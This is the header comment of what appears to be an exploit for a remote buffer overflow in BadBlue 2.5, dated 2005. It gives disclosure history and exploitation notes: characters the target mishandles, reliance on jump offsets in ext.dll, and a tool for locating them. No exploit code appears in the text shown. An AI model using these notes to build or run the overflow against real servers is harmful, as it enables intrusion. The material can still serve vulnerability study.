// BadBlue 2.5 Easy File Sharing Remote Buffer Overflow

/*
BadBlue, Easy File Sharing Remote BOverflow

Homepage:         badblue.com
Affected version: v2.5 (2.60 and below not tested)
Patched  version: v2.61
Link:             badblue.com/bbs98.exe
Date:             27 February 2005

Application Risk: Severely High
Internet Risk:    Low

Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)
Exploit Credits : class101 & metasploit.com

Hole History:

 26-2-2005: BOF flaw published by Andres Tarasco of sia.es
 27-2-2002: Hat-Squad.com releases an exploit
 28-2-2005: haxorcitos releases a dupe with fake date :>
            or you sux doing private stuffs.

Notes:

 -6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by
BadBlue
 -using offsets from ext.dll, universal.
 -use findjmp2 to quick search into ext.dll to see
  if the offsets changes in the others BadBlue's versions below 2.5
 -if you need the v2.5 for exploitation's pratices, get it on class101.org
 -rename to .c for nux, haven't tested this one but it should works fine.
